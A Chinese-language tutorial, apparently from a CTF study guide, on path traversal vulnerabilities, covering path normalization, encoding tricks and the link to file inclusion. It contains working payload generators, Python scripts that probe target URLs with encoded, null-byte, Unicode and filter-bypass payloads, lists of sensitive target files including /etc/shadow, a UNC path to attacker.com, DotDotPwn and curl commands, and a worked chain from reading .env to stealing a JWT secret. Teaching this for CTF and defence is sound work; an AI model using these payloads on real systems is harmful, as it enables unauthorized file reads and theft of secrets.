路径穿越
路径穿越
路径穿越发生在应用根据用户输入访问文件路径,而用户可以跳出预期目录,读取或操作不该访问的文件。
路径为什么会出问题
很多功能需要根据用户输入选择文件:
下载附件
读取图片
切换语言包
查看日志
导出报告
加载模板如果程序只是把用户输入拼到目录后面,就可能被 ../ 之类路径片段绕出限制目录。
相对路径和绝对路径
相对路径依赖当前工作目录。
绝对路径从文件系统根或盘符开始。
路径穿越最常见的形式是通过上级目录跳转:
../../../../etc/passwdWindows 下还要考虑盘符、反斜杠、UNC 路径等差异。
归一化是什么
路径归一化会把路径中的 .、..、重复分隔符等结构折叠成规范路径。
安全检查常见错误是:先检查字符串,再归一化。
如果检查和真实访问使用的路径解析规则不同,就可能出现绕过。
正确思路是:先解析成真实路径,再判断它是否仍在允许目录内。
编码和双重解析
路径穿越经常涉及编码差异:
- URL 编码。
- 双重 URL 编码。
- Unicode 变体。
- 正斜杠和反斜杠。
- 空字节历史问题。
- 服务器和框架解析差异。
不同层可能解码次数不同:代理、Web 服务器、框架、应用代码都有机会处理路径。
路径穿越和文件包含
路径穿越关注“能不能访问到不该访问的路径”。
文件包含 关注“访问到的文件是否被包含和解释”。
二者可以独立存在,也可以组合出现。
如果穿越只能下载文件,重点是信息泄露。
如果穿越结果被包含执行,风险会升级。
常见目标文件
CTF 中常见目标包括:
- 应用配置文件。
- 源码文件。
- 日志文件。
- 环境变量文件。
- SSH key。
- Web 服务器配置。
/proc/self/environ。- Windows 配置或用户文件。
目标不是固定的,应该根据应用技术栈选择。
编码绕过技术详解
# URL 编码绕过
import urllib.parse
def generate_encoded_payloads(path):
"""生成各种编码的路径穿越 payload"""
payloads = {}
# 基础路径
payloads["原始"] = path
# URL 编码
payloads["URL编码"] = urllib.parse.quote(path)
# 双重 URL 编码
payloads["双重URL编码"] = urllib.parse.quote(urllib.parse.quote(path))
# 部分编码 (只编码点或斜杠)
payloads["编码点"] = path.replace(".", "%2e")
payloads["编码斜杠"] = path.replace("/", "%2f")
payloads["编码点和斜杠"] = path.replace(".", "%2e").replace("/", "%2f")
# Unicode 编码
payloads["Unicode斜杠"] = path.replace("/", "\u2215") # Division Slash
payloads["Unicode点"] = path.replace(".", "\uff0e") # Fullwidth Full Stop
payloads["全角斜杠"] = path.replace("/", "\uff0f") # Fullwidth Solidus
# 混合编码
payloads["混合1"] = path.replace("../", "..%2f")
payloads["混合2"] = path.replace("../", "%2e%2e/")
payloads["混合3"] = path.replace("../", "%2e%2e%2f")
# UTF-8 过长编码
payloads["UTF8过长"] = path.replace("/", "%c0%af") # 仅适用于旧系统
return payloads
# 使用示例
# base_path = "../../../../etc/passwd"
# payloads = generate_encoded_payloads(base_path)
# for name, payload in payloads.items():
# print(f"{name}: {payload}")Null 字节注入
Null 字节 (%00) 在某些语言和版本中会截断字符串:
PHP < 5.3.4:
index.php?file=../../../../etc/passwd%00
C 层面的字符串处理会在 \0 处停止
Java 某些版本:
可能在路径处理时忽略 null 字节
利用方式:
file=../../../../etc/passwd%00.php (绕过后缀拼接)
file=../../../../etc/passwd%00.jpg (绕过白名单)
file=../../../../etc/passwd%00%00 (双重 null)def test_null_byte_path_traversal(url, param, target_file):
"""测试 Null 字节路径穿越"""
payloads = [
f"{target_file}%00",
f"{target_file}%00.php",
f"{target_file}%00.jpg",
f"{target_file}%00.html",
f"{target_file}\x00",
f"{target_file}\x00.php",
]
for payload in payloads:
try:
resp = requests.get(url, params={param: payload}, timeout=3)
if resp.status_code == 200 and "root:" in resp.text:
print(f"[!] 成功: {payload}")
return True
except:
pass
return FalseUnicode 归一化绕过
import unicodedata
def unicode_normalization_bypass():
"""Unicode 归一化绕过技术"""
# Unicode 字符在归一化后可能变成 ASCII 字符
# 常见 Unicode 替代字符
unicode_chars = {
"斜杠替代": [
"\u2215", # Division Slash → /
"\u29F8", # Big Solidus → /
"\uff0f", # Fullwidth Solidus → /
"\u2044", # Fraction Slash → /
],
"点替代": [
"\uff0e", # Fullwidth Full Stop → .
"\u002e", # 普通点
],
"反斜杠替代": [
"\uff3c", # Fullwidth Reverse Solidus → \
"\u2216", # Set Minus → \
],
}
# 测试归一化后的结果
test_strings = [
"\uff0e\uff0e\uff0fetc\uff0fpasswd", # 全角字符
"\u2215etc\u2215passwd", # Division Slash
]
for s in test_strings:
nfc = unicodedata.normalize('NFC', s)
nfkc = unicodedata.normalize('NFKC', s)
print(f"原始: {s}")
print(f"NFC: {nfc}")
print(f"NFKC: {nfkc}") # NFKC 通常会转换为 ASCII
print()
# 使用 NFKC 归一化后的路径可能绕过过滤器绝对路径技巧
# 有时不使用 ../ 也可以直接访问绝对路径
absolute_path_payloads = [
# Linux 绝对路径
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/proc/self/environ",
"/proc/self/cmdline",
"/var/log/apache2/access.log",
"/var/log/nginx/access.log",
# Windows 绝对路径
"C:\\Windows\\win.ini",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
"C:\\inetpub\\logs\\LogFiles\\",
"D:\\config\\database.yml",
# UNC 路径 (Windows, 可用于 SSRF)
"\\\\attacker.com\\share\\file",
"\\\\127.0.0.1\\C$\\Windows\\win.ini",
# 带盘符
"file:///etc/passwd",
"file:///C:/Windows/win.ini",
]
def test_absolute_paths(url, param):
"""测试绝对路径访问"""
for path in absolute_path_payloads:
try:
resp = requests.get(url, params={param: path}, timeout=3)
if resp.status_code == 200 and len(resp.text) > 10:
print(f"[+] {path} -> 长度 {len(resp.text)}")
if "root:" in resp.text or "[boot loader]" in resp.text:
print(f" [!] 包含目标文件内容!")
except:
pass常见路径穿越过滤器及绕过
# 过滤器类型及绕过方法
filters_and_bypasses = {
"过滤 ../": [
"..%2f",
"%2e%2e/",
"%2e%2e%2f",
"....//", # 双写: 去掉一个 ../ 后还有 ../
"..\\", # 反斜杠
"..%c0%af", # UTF-8 过编码
"..%252f", # 双重编码
],
"过滤 ..": [
"..%00.",
".%2e/",
"%2e./",
"...\x00/",
],
"过滤 /etc/passwd": [
"/etc/passwd%00",
"/etc/./passwd",
"/etc/passwd/.",
"/etc/passwd%20",
"/etc/passwd#",
"/etc/passwd?",
"/etc//passwd",
"/etc/passwd\x00",
],
"过滤 .. 和 /": [
"..%252f..%252f", # 双重编码
"..%c0%af..%c0%af",
"%2e%2e%2f%2e%2e%2f",
],
"先检查后归一化": [
# 如果代码先检查字符串中是否有 ../,再做归一化
"..%2f..%2f", # 归一化前不含 ../
"%2e%2e/%2e%2e/",
],
}
def test_filter_bypass(url, param, target_file, filter_type=None):
"""测试各种过滤器绕过"""
if filter_type and filter_type in filters_and_bypasses:
bypasses = filters_and_bypasses[filter_type]
else:
# 尝试所有绕过方式
bypasses = []
for b in filters_and_bypasses.values():
bypasses.extend(b)
for bypass in bypasses:
payload = bypass + target_file if not bypass.endswith(target_file) else bypass
try:
resp = requests.get(url, params={param: payload}, timeout=3)
if resp.status_code == 200 and "root:" in resp.text:
print(f"[!] 成功: {payload}")
return True
except:
pass
return False路径穿越检测工具
# DotDotPwn - 路径穿越扫描工具
dotdotpwn -m http -h target.com -M GET -d 8 -f /etc/passwd
# 使用 Burp Intruder
# 1. 标记路径参数中的穿越部分
# 2. 使用 Fuzzing 字典 (如 LFI wordlist)
# 3. 观察响应长度和内容变化
# 常用字典
# /usr/share/wordlists/dotdotpwn.txt
# SecLists/Fuzzing/LFI/常见误区
- 只会试 Linux 路径,不考虑 Windows。
- 只试
../,不考虑编码和路径归一化。 - 读到
/etc/passwd就停止,不继续找 flag 或配置。 - 把路径穿越和任意文件读取完全等同。
- 不看响应码、错误信息和实际工作目录。
一句话判断
用户输入参与文件路径拼接,并且可以通过 ../、绝对路径、编码、反斜杠或归一化差异跳出预期目录,读取或操作不该访问的文件时,就按路径穿越分析。
路径穿越的核心是“最终真实路径是否仍在允许目录内”,不是字符串里有没有 ../。
题目中常见信号
- 下载接口:
download?file=report.pdf、image?name=a.png。 - 语言包、模板、日志、附件、备份、头像读取。
- 报错显示本地路径、工作目录或文件不存在。
- 过滤了
../但编码后响应变化。 - Linux 和 Windows 路径 payload 有不同表现。
- 参数看起来像文件名,却能返回不同文件内容。
- 文件读取后继续发现配置、源码、密钥、session 路径。
核心概念
路径穿越链路:
用户输入文件名
-> 应用拼接基础目录
-> 多层解码/归一化
-> 文件系统解析真实路径
-> 越过允许目录正确防御应先得到真实路径,再检查它是否以允许目录为前缀。CTF 题常见错误是先做字符串过滤,再交给框架或文件系统二次解码。
最小分析流程
- 找所有读取文件的参数。
- 用正常文件名保存基线响应。
- 尝试同目录不存在文件,观察报错。
- 尝试
../到常见系统文件。 - 尝试 URL 编码、双重编码、反斜杠、双写绕过。
- 根据技术栈选择目标文件:源码、配置、日志、环境变量、flag。
- 如果读到源码,继续分析真实路径和更多敏感文件。
- 如果读取结果被执行或包含,转入 文件包含。
最小验证示例
Linux:
curl 'http://target/download?file=../../../../etc/passwd'
curl 'http://target/download?file=..%2f..%2f..%2f..%2fetc%2fpasswd'
curl 'http://target/download?file=....//....//....//etc/passwd'Windows:
curl 'http://target/download?file=..%5c..%5c..%5cWindows%5cwin.ini'
curl 'http://target/download?file=C:%5cWindows%5cwin.ini'源码和配置:
curl 'http://target/download?file=../../../../var/www/html/config.php'
curl 'http://target/download?file=../../../../proc/self/environ'成功标准:响应内容能明确证明读取了目标文件,例如 /etc/passwd 中的 root:x: 或 win.ini 的节名。
常见利用 / 解题路线
路线总览:
路线一:基础相对路径穿越
file=../../../../etc/passwd用于确认漏洞存在。
路线二:编码和双重解析绕过
..%2f
%2e%2e%2f
..%252f
....//
..\适合过滤器只拦原始 ../。
路线三:绝对路径读取
/etc/passwd
/proc/self/environ
C:\Windows\win.ini适合应用没有强制基础目录或路径拼接可被绝对路径覆盖。
路线四:读源码和配置扩大信息
config.php
.env
application.yml
WEB-INF/web.xml拿到密钥、数据库账号、JWT secret、Session 路径后继续利用。
路线五:和文件包含联动
如果读取路径被 include 或模板引擎解释,转向代码执行路线。
常见失败原因
- 层级不够:
../数量不足,没跳出工作目录。 - 目标路径选错:容器里未必有传统日志或 flag 路径。
- 响应被下载包装:二进制或压缩响应需要保存文件再分析。
- 过滤器二次处理:服务端可能先 URL 解码再过滤,也可能反过来。
- Windows/Linux 混淆:斜杠、盘符、路径分隔符不同。
- 读到
/etc/passwd就停:它只是证明漏洞,真正目标通常在配置或 flag 文件。 - 把任意文件读取当路径穿越:有些接口按文件 ID 越权,不一定存在
../。
迷你案例
题目接口:
/download?file=guide.pdf测试:
curl -i 'http://target/download?file=../../../../etc/passwd'返回 403。尝试编码:
curl -i 'http://target/download?file=..%252f..%252f..%252f..%252fetc%252fpasswd'返回:
root:x:0:0:root:/root:/bin/bash说明某一层先过滤原始字符串,后续又进行二次 URL 解码,导致穿越生效。
下一步读取配置:
..%252f..%252f..%252f..%252fvar%252fwww%252fhtml%252f.env拿到 JWT_SECRET 后可转向 JWT基础 伪造身份。WP 要写出从路径穿越到配置泄露再到后续利用的链条。